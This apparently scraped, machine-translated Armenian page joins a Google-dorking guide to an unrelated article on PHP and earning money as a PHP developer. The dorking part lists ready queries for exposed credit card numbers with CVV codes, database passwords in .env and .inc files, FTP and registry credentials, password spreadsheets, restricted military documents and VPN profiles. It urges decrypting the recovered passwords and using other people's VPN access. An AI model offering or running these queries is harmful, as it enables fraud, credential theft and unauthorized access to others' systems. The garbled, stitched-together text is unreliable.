Inurl php http ինչ եկամուտներ. Ինչպե՞ս գումար աշխատել՝ իմանալով PHP-ն: Ինչպե՞ս կարող է php ծրագրավորողը լավ գումար վաստակել տանը:

Անձնական տվյալներ ստանալը միշտ չէ, որ նշանակում է կոտրել, երբեմն դրանք հրապարակվում են հրապարակայնորեն: Google-ի կարգավորումների իմացությունը և մի փոքր հնարամտությունը թույլ կտան գտնել շատ հետաքրքիր բաներ՝ վարկային քարտերի համարներից մինչև ՀԴԲ փաստաթղթեր:

ԶԳՈՒՇԱՑՈՒՄ

Ամբողջ տեղեկատվությունը տրամադրվում է միայն տեղեկատվական նպատակներով: Ոչ խմբագիրները, ոչ հեղինակը պատասխանատվություն չեն կրում սույն հոդվածի նյութերի պատճառած հնարավոր վնասի համար:

Այսօր ամեն ինչ միացված է ինտերնետին, քիչ մտահոգված է մուտքը սահմանափակելու համար: Հետեւաբար, շատ մասնավոր տվյալներ դառնում են որոնողական համակարգերի զոհը: Սարդ ռոբոտներն այլևս չեն սահմանափակվում միայն վեբ էջերով, այլ ինդեքսավորում են համացանցում առկա ողջ բովանդակությունը և մշտապես ավելացնում են ոչ հրապարակային տեղեկատվություն իրենց տվյալների բազաներում: Այս գաղտնիքները պարզելը հեշտ է, պարզապես պետք է իմանալ, թե ինչպես հարցնել դրանց մասին:

Փնտրում եմ ֆայլեր

Հզոր ձեռքերում Google-ը արագ կգտնի այն ամենը, ինչ չկա ինտերնետում, օրինակ՝ անձնական տեղեկությունները և պաշտոնական օգտագործման ֆայլերը: Նրանք հաճախ թաքնված են գորգի տակ բանալիների պես. մուտքի իրական սահմանափակումներ չկան, տվյալները պարզապես գտնվում են կայքի հետևի մասում, որտեղ ոչ մի հղում չի տանում: Ստանդարտ Google վեբ ինտերֆեյսը ապահովում է միայն հիմնական առաջադեմ որոնման կարգավորումները, բայց նույնիսկ դրանք բավարար կլինեն:

Դուք կարող եք սահմանափակել ձեր Google որոնումը որոշակի տեսակի ֆայլով, օգտագործելով երկու օպերատորներ՝ filetype և ext: Առաջինը նշում է այն ձևաչափը, որը որոնիչը որոշել է ֆայլի վերնագրից, երկրորդը նշում է ֆայլի ընդլայնումը, անկախ դրա ներքին բովանդակությունից: Երկու դեպքում էլ որոնելիս պետք է միայն նշել ընդլայնումը: Սկզբում ext օպերատորը հարմար էր օգտագործել այն դեպքերում, երբ ֆայլը չուներ հատուկ ձևաչափի բնութագրեր (օրինակ՝ ini և cfg կազմաձևման ֆայլեր որոնելու համար, որոնք կարող էին որևէ բան պարունակել): Այժմ Google-ի ալգորիթմները փոխվել են, և օպերատորների միջև տեսանելի տարբերություն չկա՝ շատ դեպքերում արդյունքները նույնն են։


Արդյունքների զտում

Լռելյայնորեն Google-ը որոնում է բառեր և, ընդհանրապես, ինդեքսավորված էջերի բոլոր ֆայլերում մուտքագրված ցանկացած նիշ: Դուք կարող եք սահմանափակել որոնման տարածքը ըստ վերին մակարդակի տիրույթի, կոնկրետ կայքի կամ հենց ֆայլերում որոնման հաջորդականության գտնվելու վայրի: Առաջին երկու տարբերակների համար օգտագործեք կայքի օպերատորը, որին հաջորդում է տիրույթի կամ ընտրված կայքի անունը: Երրորդ դեպքում օպերատորների մի ամբողջ շարք թույլ է տալիս տեղեկատվություն փնտրել սպասարկման դաշտերում և մետատվյալներում: Օրինակ, allinurl-ը տվյալը կգտնի հենց իրենց հղումների մարմնում, allinanchor-ը՝ պիտակով հագեցած տեքստում։ , allintitle - էջերի վերնագրերում, allintext - էջերի մարմնում:

Յուրաքանչյուր օպերատորի համար կա թեթև տարբերակ՝ ավելի կարճ անունով (առանց բոլորի նախածանցի): Տարբերությունն այն է, որ allinurl-ը հղումներ կգտնի բոլոր բառերով, իսկ inurl-ը հղումներ կգտնի միայն դրանցից առաջինի հետ։ Հարցման երկրորդ և հաջորդ բառերը կարող են հայտնվել վեբ էջերի ցանկացած վայրում: Inurl օպերատորը նույնպես տարբերվում է նմանատիպ նշանակությամբ մեկ այլ օպերատորից՝ կայք։ Առաջինը նաև թույլ է տալիս գտնել նիշերի ցանկացած հաջորդականություն որոնված փաստաթղթի հղումում (օրինակ՝ /cgi-bin/), որը լայնորեն օգտագործվում է հայտնի խոցելիություններով բաղադրիչներ գտնելու համար։

Փորձենք գործնականում: Մենք վերցնում ենք allintext ֆիլտրը և ստիպում հարցումը ստեղծել վարկային քարտերի համարների և հաստատման կոդերի ցանկ, որոնց ժամկետը կլրանա միայն երկու տարուց (կամ երբ նրանց տերերը հոգնեն բոլորին կերակրելուց):

Allintext՝ քարտի համարի գործողության ժամկետ /2017 cvv

Երբ լուրերում կարդում եք, որ երիտասարդ հաքերը «կոտրել է Պենտագոնի կամ ՆԱՍԱ-ի սերվերները»՝ գողանալով գաղտնի տեղեկատվություն, շատ դեպքերում մենք խոսում ենք Google-ի օգտագործման հենց այսպիսի հիմնական տեխնիկայի մասին։ Ենթադրենք, մեզ հետաքրքրում է NASA-ի աշխատակիցների ցուցակը և նրանց կոնտակտային տվյալները: Անշուշտ, նման ցուցակը հասանելի է էլեկտրոնային ձևով: Հարմարության համար կամ վերահսկողության պատճառով այն կարող է լինել նաև հենց կազմակերպության կայքում: Տրամաբանական է, որ այս դեպքում դրան հղումներ չեն լինի, քանի որ այն նախատեսված է ներքին օգտագործման համար։ Ի՞նչ բառեր կարող են լինել նման ֆայլում: Առնվազն «հասցե» դաշտը: Այս բոլոր ենթադրությունների փորձարկումը հեշտ է:


Inurl:nasa.gov ֆայլի տեսակը:xlsx «հասցե»


Մենք օգտագործում ենք բյուրոկրատիա

Նման գտածոները հաճելի հպում են: Իսկապես ամուր գրավչություն է ապահովում Google-ի օպերատորների ավելի մանրամասն իմացությունը վեբ վարպետների, հենց Ցանցի և փնտրվողի կառուցվածքի առանձնահատկությունների շնորհիվ: Իմանալով մանրամասները՝ դուք կարող եք հեշտությամբ զտել արդյունքները և կատարելագործել անհրաժեշտ ֆայլերի հատկությունները՝ մնացածում իսկապես արժեքավոր տվյալներ ստանալու համար: Զավեշտալի է, որ այստեղ օգնության է հասնում բյուրոկրատիան: Այն արտադրում է ստանդարտ ձևակերպումներ, որոնք հարմար են համացանցում պատահաբար արտահոսած գաղտնի տեղեկատվության որոնման համար:

Օրինակ՝ ԱՄՆ պաշտպանության նախարարության կողմից պահանջվող Distribution քաղվածքի կնիքը նշանակում է փաստաթղթի բաշխման ստանդարտացված սահմանափակումներ: Ա տառը նշանակում է հրապարակային հրապարակումներ, որոնցում գաղտնի ոչինչ չկա. B - նախատեսված է միայն ներքին օգտագործման համար, C - խիստ գաղտնի և այլն, մինչև F: X տառը առանձնանում է առանձին, որը նշում է ամենաբարձր մակարդակի պետական ​​գաղտնիք ներկայացնող հատկապես արժեքավոր տեղեկատվություն: Թող նրանք, ովքեր պետք է դա անեն հերթապահության ժամանակ, փնտրեն նման փաստաթղթեր, և մենք կսահմանափակվենք C տառով ֆայլերով: Համաձայն DoDI 5230.24 հրահանգի, այս նշումը վերագրվում է այն փաստաթղթերին, որոնք պարունակում են կարևոր տեխնոլոգիաների նկարագրություն, որոնք գտնվում են արտահանման հսկողության տակ: . Նման խնամքով պաշտպանված տեղեկություններ կարող եք գտնել ԱՄՆ բանակի համար հատկացված վերին մակարդակի domain.mil կայքերում:

«ԲԱՇԽՄԱՆ ՀԱՅՏԱՐԱՐՈՒԹՅՈՒՆ C» inurl:navy.mil

Շատ հարմար է, որ .mil տիրույթը պարունակում է միայն ԱՄՆ պաշտպանության նախարարության և նրա պայմանագրային կազմակերպությունների կայքերը: Դոմենի սահմանափակմամբ որոնման արդյունքները բացառապես մաքուր են, և վերնագրերը խոսում են իրենց մասին: Այս կերպ ռուսական գաղտնիքների որոնումը գործնականում անօգուտ է. domains.ru և.rf-ում տիրում է քաոս, և շատ զինատեսակների անունները հնչում են բուսաբանականի (PP «Kiparis», ինքնագնաց հրացաններ «Akatsia») կամ նույնիսկ առասպելական ( TOS «Բուրատինո»):


Ուշադիր ուսումնասիրելով ցանկացած փաստաթուղթ .mil տիրույթում գտնվող կայքից՝ դուք կարող եք տեսնել այլ նշիչներ՝ ձեր որոնումը կատարելագործելու համար: Օրինակ, հղում արտահանման սահմանափակումներին «Sec 2751», որը նաև հարմար է հետաքրքիր տեխնիկական տեղեկություններ փնտրելու համար: Ժամանակ առ ժամանակ այն հեռացվում է պաշտոնական կայքերից, որտեղ ժամանակին հայտնվել է, այնպես որ, եթե չեք կարող հետևել որոնման արդյունքների հետաքրքիր հղմանը, օգտագործեք Google-ի քեշը (քեշ օպերատոր) կամ Ինտերնետ արխիվի կայքը:

Բարձրանալով ամպերի մեջ

Ի հավելումն պատահաբար գաղտնազերծված պետական ​​փաստաթղթերի, Google-ի քեշում երբեմն հայտնվում են հղումներ դեպի անձնական ֆայլեր Dropbox-ից և տվյալների պահպանման այլ ծառայություններից, որոնք ստեղծում են «մասնավոր» հղումներ դեպի հրապարակայնորեն հրապարակված տվյալները: Ավելի վատ է այլընտրանքային և տնական ծառայությունների դեպքում: Օրինակ, հետևյալ հարցումը տվյալներ է գտնում Verizon-ի բոլոր հաճախորդների համար, ովքեր ունեն տեղադրված FTP սերվեր և ակտիվորեն օգտագործում են իրենց երթուղիչը:

Allinurl:ftp://verizon.net

Այդպիսի խելացի մարդիկ այժմ ավելի քան քառասուն հազար են, իսկ 2015-ի գարնանը նրանց թիվը շատ-շատ էր։ Verizon.net-ի փոխարեն դուք կարող եք փոխարինել ցանկացած հայտնի պրովայդերի անունը, և որքան հայտնի է այն, այնքան ավելի մեծ կարող է լինել բռնումը: Ներկառուցված FTP սերվերի միջոցով դուք կարող եք տեսնել ֆայլեր արտաքին պահեստավորման սարքի վրա, որը միացված է երթուղիչին: Սովորաբար սա ԳԱԱ է հեռահար աշխատանքի, անձնական ամպի կամ հավասարազոր ֆայլերի ներբեռնման համար: Նման լրատվամիջոցների ամբողջ բովանդակությունը ինդեքսավորվում է Google-ի և այլ որոնման համակարգերի կողմից, այնպես որ դուք կարող եք մուտք գործել արտաքին կրիչներում պահված ֆայլեր ուղղակի հղման միջոցով:

Նայելով կազմաձևերին

Մինչ ամպի համատարած միգրացիան, պարզ FTP սերվերները իշխում էին որպես հեռավոր պահեստավորում, որը նույնպես ուներ բազմաթիվ խոցելիություններ: Դրանցից շատերն այսօր էլ արդիական են։ Օրինակ, հայտնի WS_FTP Professional ծրագիրը պահպանում է կազմաձևման տվյալները, օգտվողի հաշիվները և գաղտնաբառերը ws_ftp.ini ֆայլում: Այն հեշտ է գտնել և կարդալ, քանի որ բոլոր գրառումները պահվում են տեքստային ձևաչափով, իսկ գաղտնաբառերը գաղտնագրվում են Triple DES ալգորիթմով՝ նվազագույն մշուշումից հետո: Շատ տարբերակներում բավական է պարզապես հրաժարվել առաջին բայթից:

Նման գաղտնաբառերը հեշտ է վերծանել՝ օգտագործելով WS_FTP Password Decryptor կոմունալ ծրագիրը կամ անվճար վեբ ծառայությունը:

Երբ խոսում ենք կամայական վեբկայքը կոտրելու մասին, դրանք սովորաբար նկատի ունեն գաղտնաբառ ստանալը CMS-ի կամ էլեկտրոնային առևտրի հավելվածների տեղեկամատյաններից և կոնֆիգուրացիայի ֆայլերի կրկնօրինակներից: Եթե ​​գիտեք դրանց բնորոշ կառուցվածքը, կարող եք հեշտությամբ նշել հիմնաբառերը։ ws_ftp.ini-ում հայտնաբերված տողերը չափազանց տարածված են: Օրինակ, Drupal-ում և PrestaShop-ում միշտ կա օգտվողի նույնացուցիչ (UID) և համապատասխան գաղտնաբառ (pwd), և ամբողջ տեղեկատվությունը պահվում է .inc ընդլայնմամբ ֆայլերում: Դուք կարող եք որոնել դրանք հետևյալ կերպ.

"pwd=" "UID=" ext:inc

DBMS գաղտնաբառերի բացահայտում

SQL սերվերների կազմաձևման ֆայլերում օգտվողների անունները և էլփոստի հասցեները պահվում են հստակ տեքստով, և դրանց MD5 հեշերը գրվում են գաղտնաբառերի փոխարեն: Խստորեն ասած, անհնար է դրանք վերծանել, բայց դուք կարող եք գտնել համընկնում հայտնի հեշ-գաղտնաբառ զույգերի միջև:

Դեռևս կան DBMS-ներ, որոնք նույնիսկ չեն օգտագործում գաղտնաբառի հաշինգ: Նրանցից որևէ մեկի կազմաձևման ֆայլերը պարզապես կարելի է դիտել բրաուզերում:

Intext:DB_PASSWORD ֆայլի տեսակը՝ env

Windows սերվերների հայտնվելով, կազմաձևման ֆայլերի տեղը մասամբ զբաղեցրեց ռեեստրը: Դուք կարող եք որոնել նրա մասնաճյուղերում ճիշտ նույն ձևով, օգտագործելով reg որպես ֆայլի տեսակ: Օրինակ, այսպես.

Ֆայլի տեսակ՝ ռեգ HKEY_CURRENT_USER «Գաղտնաբառ»=

Չմոռանանք ակնհայտը

Երբեմն հնարավոր է լինում հասնել գաղտնի տեղեկատվության՝ օգտագործելով տվյալները, որոնք պատահաբար բացվել և հայտնվել են Google-ի ուշադրության կենտրոնում: Իդեալական տարբերակն է գաղտնաբառերի ցուցակ գտնել ինչ-որ ընդհանուր ձևաչափով: Միայն հուսահատ մարդիկ կարող են հաշվի տեղեկատվությունը պահել տեքստային ֆայլում, Word փաստաթղթում կամ Excel աղյուսակում, բայց դրանք միշտ բավարար են:

Ֆայլի տեսակը:xls inurl:գաղտնաբառ

Մի կողմից՝ նման միջադեպերը կանխելու բազմաթիվ միջոցներ կան։ Անհրաժեշտ է htaccess-ում նշել համապատասխան մուտքի իրավունքներ, կարկատել CMS-ը, չօգտագործել ձախակողմյան սկրիպտներ և փակել այլ անցքեր: Կա նաև robots.txt բացառությունների ցանկով ֆայլ, որն արգելում է որոնիչներին ինդեքսավորել դրանում նշված ֆայլերն ու գրացուցակները: Մյուս կողմից, եթե robots.txt-ի կառուցվածքը որոշ սերվերի վրա տարբերվում է ստանդարտից, ապա անմիջապես պարզ է դառնում, թե ինչ են փորձում թաքցնել դրա վրա։

Ցանկացած կայքի դիրեկտորիաների և ֆայլերի ցանկին նախորդում է ստանդարտ ինդեքսը: Քանի որ սպասարկման նպատակով այն պետք է հայտնվի վերնագրում, իմաստ ունի սահմանափակել դրա որոնումը միայն վերնագրի օպերատորով: Հետաքրքիր բաներ կան /admin/, /personal/, /etc/ և նույնիսկ /secret/ գրացուցակներում:

Հետևե՛ք թարմացումներին

Համապատասխանությունն այստեղ չափազանց կարևոր է. հին խոցելի կետերը շատ դանդաղ են փակվում, բայց Google-ը և նրա որոնման արդյունքները անընդհատ փոխվում են: Նույնիսկ տարբերություն կա «վերջին վայրկյան» ֆիլտրի (&tbs=qdr:s հարցման URL-ի վերջում) և «իրական ժամանակի» ֆիլտրի (&tbs=qdr:1) միջև։

Ֆայլի վերջին թարմացման ամսաթվի ժամանակային միջակայքը նույնպես անուղղակիորեն նշվում է Google-ի կողմից: Գրաֆիկական վեբ ինտերֆեյսի միջոցով դուք կարող եք ընտրել ստանդարտ ժամանակաշրջաններից մեկը (ժամ, օր, շաբաթ և այլն) կամ սահմանել ամսաթվերի միջակայք, սակայն այս մեթոդը հարմար չէ ավտոմատացման համար:

Հասցեների տողի տեսքից դուք կարող եք միայն կռահել արդյունքների ելքը սահմանափակելու միջոցի մասին՝ օգտագործելով &tbs=qdr: կառուցումը: y տառը դրանից հետո սահմանում է մեկ տարվա սահմանաչափը (&tbs=qdr:y), m-ը ցույց է տալիս վերջին ամսվա արդյունքները, w - շաբաթվա, d - անցած օրվա համար, h - վերջին ժամի համար, n - րոպեի համար, իսկ s - համար տուր ինձ վայրկյան: Ամենավերջին արդյունքները, որոնց մասին Google-ը նոր է հայտնի դարձել, գտնվել են զտիչի միջոցով &tbs=qdr:1:

Եթե ​​Ձեզ անհրաժեշտ է խելացի սցենար գրել, ապա օգտակար կլինի իմանալ, որ ամսաթվերի միջակայքը սահմանված է Google-ում Julian ձևաչափով՝ օգտագործելով daterange օպերատորը: Օրինակ, այսպես կարող եք գտնել PDF փաստաթղթերի ցանկը գաղտնի բառով, որը ներբեռնվել է 2015 թվականի հունվարի 1-ից հուլիսի 1-ը:

Գաղտնի ֆայլի տեսակ՝ pdf daterange:2457024-2457205

Շրջանակը նշվում է Ջուլիանի ամսաթվի ձևաչափով՝ առանց կոտորակային մասը հաշվի առնելու։ Գրիգորյան օրացույցից դրանք ձեռքով թարգմանելը անհարմար է։ Ավելի հեշտ է օգտագործել ամսաթվի փոխարկիչը:

Նորից թիրախավորում և զտում

Բացի որոնման հարցումում լրացուցիչ օպերատորներ նշելուց, դրանք կարող են ուղարկվել անմիջապես հղման տեքստում: Օրինակ, filetype:pdf հստակեցումը համապատասխանում է as_filetype=pdf կառուցվածքին: Սա հարմար է դարձնում ցանկացած պարզաբանում տալը: Ասենք, որ արդյունքների ելքը միայն Հոնդուրասի Հանրապետությունից է նշվում՝ որոնման URL-ում ավելացնելով cr=countryHN կոնստրուկցիան, և միայն Բոբրույսկ քաղաքից՝ gcs=Bobruisk։ Ամբողջական ցանկը կարող եք գտնել մշակողների բաժնում:

Google-ի ավտոմատացման գործիքները նախատեսված են կյանքը հեշտացնելու համար, սակայն դրանք հաճախ խնդիրներ են ավելացնում: Օրինակ, օգտագործողի քաղաքը որոշվում է օգտագործողի IP-ով WHOIS-ի միջոցով: Այս տեղեկատվության հիման վրա Google-ը ոչ միայն հավասարակշռում է սերվերների միջև բեռը, այլև փոխում է որոնման արդյունքները։ Կախված տարածաշրջանից, նույն հարցման դեպքում առաջին էջում կհայտնվեն տարբեր արդյունքներ, և դրանցից մի քանիսը կարող են ամբողջովին թաքցված լինել: gl=country հրահանգից հետո երկտառ ծածկագիրը կօգնի ձեզ զգալ կոսմոպոլիտ և փնտրել տեղեկատվություն ցանկացած երկրից: Օրինակ՝ Նիդեռլանդների կոդը NL է, սակայն Վատիկանը և Հյուսիսային Կորեան Google-ում սեփական կոդը չունեն։

Հաճախ որոնման արդյունքները խառնաշփոթ են հայտնվում նույնիսկ մի քանի առաջադեմ զտիչներ օգտագործելուց հետո: Այս դեպքում հեշտ է պարզաբանել հարցումը՝ դրան ավելացնելով մի քանի բացառական բառեր (նրանցից յուրաքանչյուրի դիմաց դրվում է մինուս նշան)։ Օրինակ, բանկային գործը, անունները և ձեռնարկը հաճախ օգտագործվում են Անձնական բառի հետ: Հետևաբար, ավելի մաքուր որոնման արդյունքները կցուցադրվեն ոչ թե հարցման դասագրքային օրինակով, այլ՝ ճշգրտվածով.

Վերնագիր:«Ինդեքս /Անձնական/» -names -tutorial -banking

Մի վերջին օրինակ

Բարդ հաքերն առանձնանում է նրանով, որ ինքնուրույն ապահովում է իրեն անհրաժեշտ ամեն ինչ։ Օրինակ, VPN-ը հարմար բան է, բայց կամ թանկ, կամ ժամանակավոր և սահմանափակումներով։ Ինքներդ ձեզ համար բաժանորդագրվելու համար գրանցվելը չափազանց թանկ է: Լավ է, որ կան խմբային բաժանորդագրություններ, իսկ Google-ի օգնությամբ հեշտ է դառնալ խմբի անդամ: Դա անելու համար պարզապես գտեք Cisco VPN կոնֆիգուրացիայի ֆայլը, որն ունի բավականին ոչ ստանդարտ PCF ընդլայնում և ճանաչելի ճանապարհ՝ Program Files\Cisco Systems\VPN Client\Profiles: Մեկ խնդրանք, և դուք միանում եք, օրինակ, Բոննի համալսարանի բարեկամական թիմին:

Ֆայլի տեսակը՝ pcf vpn ԿԱՄ Խումբ

ՏԵՂԵԿՈՒԹՅՈՒՆՆԵՐ

Google-ը գտնում է գաղտնաբառի կազմաձևման ֆայլեր, սակայն դրանցից շատերը գաղտնագրված են կամ փոխարինված են հեշերով: Եթե ​​տեսնում եք ֆիքսված երկարության տողեր, ապա անմիջապես փնտրեք ապակոդավորման ծառայություն:

Գաղտնաբառերը պահվում են կոդավորված, բայց Մորիս Մասսարդն արդեն գրել է դրանք վերծանելու ծրագիր և անվճար տրամադրում է thecampusgeeks.com-ի միջոցով:

Google-ն իրականացնում է հարյուրավոր տարբեր տեսակի հարձակումներ և ներթափանցման թեստեր: Կան բազմաթիվ տարբերակներ, որոնք ազդում են հանրաճանաչ ծրագրերի, տվյալների բազայի հիմնական ձևաչափերի, PHP-ի բազմաթիվ խոցելիությունների, ամպերի և այլնի վրա: Հստակ իմանալով, թե ինչ եք փնտրում, շատ ավելի հեշտ կլինի գտնել ձեզ անհրաժեշտ տեղեկատվությունը (հատկապես այն տեղեկատվությունը, որը մտադիր չէիք հրապարակել): Շոդանը միակը չէ, ով սնվում է հետաքրքիր գաղափարներով, այլ ինդեքսավորված ցանցային ռեսուրսների յուրաքանչյուր տվյալների բազա:

Հեղինակից.Բարև ընկերներ։ Այս հոդվածում կխոսենք PHP ծրագրավորման լեզվի մասին։ Եկեք պարզենք, թե ինչի համար է այն օգտագործվում, ինչ կարող եք անել դրա հետ, և ինչ տեղ է այն զբաղեցնում կայքի մշակման փուլերում։ Նաև այս հոդվածում մենք կքննարկենք գումար աշխատելու բազմաթիվ եղանակներ՝ իմանալով, թե ինչպես ծրագրավորել PHP-ով:

Ի՞նչ է PHP-ն և ինչի համար է այն:

PHP-ն սկրիպտավորման լեզու է, որը շատ ակտիվորեն օգտագործվում է վեբ հավելվածների մշակման մեջ: PHP-ն առաջատար լեզուներից մեկն է, որն օգտագործվում է դինամիկ կայքերի մշակման գործում:

PHP-ն սերվերի կողմից ծրագրավորման լեզու է: Այս լեզվով գրված բոլոր սցենարները կատարվում են կայքի հետ սերվերում: PHP-ն ուսումնասիրելու, կայքերն ու սցենարները մշակելու և վրիպազերծելու համար, իհարկե, պետք չէ ինտերնետից իրական սերվեր գնել: Այդ նպատակների համար օգտագործվում են սերվերի էմուլյատորներ, որոնք ծրագրերի տեսքով ուղղակի տեղադրվում են աշխատող համակարգչի վրա։ Իսկ ինտերնետի սերվերի վրա (հոսթինգ) տեղադրվում են պատրաստի կայքեր և PHP սկրիպտներով էջեր։ Ի դեպ, գրեթե բոլոր ժամանակակից հոսթինգն աջակցում է PHP լեզվին։

Այս լեզվի ժողովրդականությունը կայքերի մշակման ոլորտում որոշվում է վեբ հավելվածների մշակման համար ներկառուցված գործիքների մեծ հավաքածուի առկայությամբ: Հիմնականները.

POST և GET պարամետրերի, ինչպես նաև վեբ սերվերի միջավայրի փոփոխականների ավտոմատ դուրսբերում նախապես սահմանված զանգվածների մեջ;

փոխազդեցություն տվյալների բազայի կառավարման մեծ թվով տարբեր համակարգերի հետ (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape և Apache Derby, Informix, Ovrimos SQL, Նշումներ, DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO ինտերֆեյս);

HTTP վերնագրերի ավտոմատ ուղարկում;

աշխատել թխուկների և նիստերի հետ;

աշխատել տեղական և հեռավոր ֆայլերի, վարդակների հետ;

սերվերում վերբեռնված ֆայլերի մշակում;

աշխատել XForms-ի հետ:

Եկեք նայենք մի օրինակ, որտեղ PHP սկրիպտը աշխատում է էջում: Վերցրեք, օրինակ, բաժանորդագրության ձևը, որով դուք մուտքագրում եք ձեր անունը և էլ.փոստը բազմաթիվ կայքերում: HTML-ը և CSS-ը պատասխանատու են ձևի տեսքի համար՝ մուտքագրման դաշտերի և կոճակների գույները, կոճակի գույնը փոխելիս սավառնելիս և սեղմելով դրա վրա և այլն։ Օգտագործելով HTML5, դուք կարող եք ստուգել ձևաթղթում մուտքագրված տվյալների ճշգրտությունը, օրինակ՝ արդյոք էլփոստի կամ հեռախոսի դաշտերը ճիշտ են լրացված:

Իսկ «Բաժանորդագրվել» կոճակը սեղմելուց հետո կանչվում է PHP սկրիպտ, որը ստանում է ձեր մուտքագրած տվյալները: Սցենարը դրանք գրանցում է տվյալների բազայում, ստեղծում և ուղարկում է ձեզ հղում՝ ձևով նշված էլ.փոստի բաժանորդագրությունը հաստատելու համար, ստուգում է բաժանորդագրության հաստատումը և ուղարկում ձեզ հետագա էլ. Այս բոլոր գործողությունները կատարվում են սերվերի վրա, և դա արվում է PHP ծրագրավորման լեզվի միջոցով։

PHP-ի կիրառումը կայքերի մշակման մեջ

Կայք ստեղծելու համար անհրաժեշտ է անցնել մի քանի փուլ.

Պլանավորում. Այս փուլում մենք պլանավորում ենք ապագա կայքը՝ ում համար և ինչու ենք այն պատրաստում, ովքեր կայցելեն կայք, ինչով լրացնենք այն, ինչ պետք է լինի կայքում և այլն։

Դիզայն. Դիզայնի փուլում մենք ստեղծում ենք կայքի էջերի տեսքը գրաֆիկական խմբագրիչում:

Դասավորություն. Դասավորության փուլում, օգտագործելով HTML և CSS, մենք ստեղծում ենք ապագա կայքի HTML էջերը նախագծման փուլում ստացված դասավորություններից։

Ծրագրավորում. Ծրագրավորման փուլում մենք ավտոմատացնում ենք կայքի հետ աշխատելու գործընթացները։ Մենք ծրագրավորում ենք կայքի ադմինիստրատիվ մասը (admin panel) այնպես, որ դուք կարող եք ավելացնել, ջնջել, խմբագրել առկա էջերը նույնիսկ այն անձի համար, ով լիովին անծանոթ է կայքի կառուցմանը: Մենք ծրագրավորում ենք այնպես, որ կայքում աշխատեն որոնումը և բաժանորդագրության բոլոր ձևերը (եթե այդպիսիք կան): Մենք համոզվում ենք, որ նոր ավելացված էջը ցուցադրվում է կայքում, իսկ մենյուում ավտոմատ կերպով հայտնվում է հղում դեպի ստեղծված էջի։ Եթե ​​կայքը օգտագործում է քվեարկություն կամ հարցում, ապա այս ամենը նույնպես ծրագրավորված է PHP-ով, ծրագրավորման փուլում:

Եթե ​​ծրագրավորման փուլը դիտարկենք ավելի մեծ կայքի, օրինակ՝ առցանց խանութի, ապա այստեղ ամեն ինչ էլ ավելի լայն է ու հետաքրքիր։ Այս դեպքում մենք ավելացնում ենք ոչ միայն էջեր, այլ նաև ապրանքներ՝ առցանց խանութի հիմնական բովանդակությունը: Ավելին, ադմինիստրատորի վահանակում դուք պետք է տրամադրեք ավելացված ապրանքների բաժանումը տարբեր կատեգորիաների: Պետք է հնարավոր լինի նաև խմբագրել ապրանքը, փոխել դրա նկարագրությունը, գինը, նկարը և այլն։

Բացի այդ, առցանց խանութը պահանջում է վերլուծական համակարգի ծրագրավորում, որպեսզի ադմինիստրատորի վահանակում տեսնեք, թե քանի պատվեր է կատարվել և վճարվել, ինչ գումարի դիմաց և որ ապրանքների համար է վճարվել ինչ կատեգորիաներից և այլն: Ավելին, այն պետք է: հնարավոր լինի ցուցադրել նման հաշվետվություններ տարբեր ժամանակաշրջանների համար: Առցանց խանութը ծրագրավորելիս հաճախ իրականացվում է նաև վաճառքի հաշվետվություններ հաշվապահական և հարկային նպատակներով:

Այդ իսկ պատճառով այն փուլը, որում օգտագործվում է PHP ծրագրավորման լեզուն, ամենակարևորն է, ամենաերկարը ժամանակի առումով և ամենաթանկն ու բարձր վարձատրվողը կայքի մշակման մեջ։ Եվ երբ հասկանաք, թե ինչպես ծրագրավորել առցանց խանութը, դուք կկարողանաք ստեղծել սցենարներ գրեթե ցանկացած բարդության կայքի համար:

PHP-ի ժողովրդականությունը

PHP-ի հանրաճանաչության մասին է վկայում այն ​​փաստը, որ այն օգտագործում է բոլոր կայքերի 83,1%-ը, որտեղ հնարավոր է եղել բացահայտել սերվերի կողմից ծրագրավորման լեզուն։

Բոլոր ամենահայտնի CMS-ները, որոնք առաջին տեղերն են զբաղեցնում հանրաճանաչության վարկանիշում (և վճարովի, և անվճար՝ WordPress, Joomla, Drupal, Modx, Bitrix. Magento և այլն), գրված են PHP ծրագրավորման լեզվով։

Նաև PHP ծրագրավորման լեզվի հանրաճանաչության մասին են վկայում բազմաթիվ ստեղծված PHP շրջանակները, ինչպիսիք են Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 և այլն։ Գոյություն ունեն հսկայական թվով ֆորումներ և մեծ համայնքներ՝ PHP-ի համար ընդհանրապես, յուրաքանչյուր շրջանակի և յուրաքանչյուր CMS-ի համար առանձին։
Ավելացնեմ նաև, որ աշխարհի ամենամեծ կայքերը, օրինակ՝ Facebook-ը, Wikipedia-ն, նույնպես գրված են PHP-ով։

Ինչպե՞ս կարող եք գումար աշխատել PHP-ի իմացությամբ:

Հաշվի առնելով PHP-ի հանրաճանաչությունը, PHP ծրագրավորողների նկատմամբ մշտական ​​մեծ պահանջարկ կա: PHP-ի իմացությունը և այս լեզվով ծրագրավորելը նոր հնարավորություններ կբացի գումար վաստակելու համար: Եկեք նայենք հիմնականներին, որոնցով դուք իսկապես կարող եք գումար վաստակել այսօր.

Գումար վաստակել սցենարներ մշակելով. Բոլոր կայքերն անընդհատ զարգանում են, և դրանք պարբերաբար պահանջում են նոր սկրիպտներ գրել կամ լրացուցիչ ֆունկցիոնալության, մոդուլների մշակում և այլն: Նման զարգացումների համար կայքի սեփականատերերը դիմում են PHP մշակողներին: Ավելին, այս դեպքում դուք կարող եք գումար վաստակել երկու եղանակով.

հետևել պատվերներին՝ ազատ ծրագրավորող գտնելու համար.

գաղափարներ առաջացնել զանգվածային սցենարների համար: Ունենալով պատկերացում սցենարի մասին, որն անպայման պահանջված կլինի, օրինակ, առցանց խանութների սեփականատերերի շրջանում, դուք կարող եք ինքնուրույն մշակել նման սցենար և վաճառել այն առցանց խանութի սեփականատերերին.

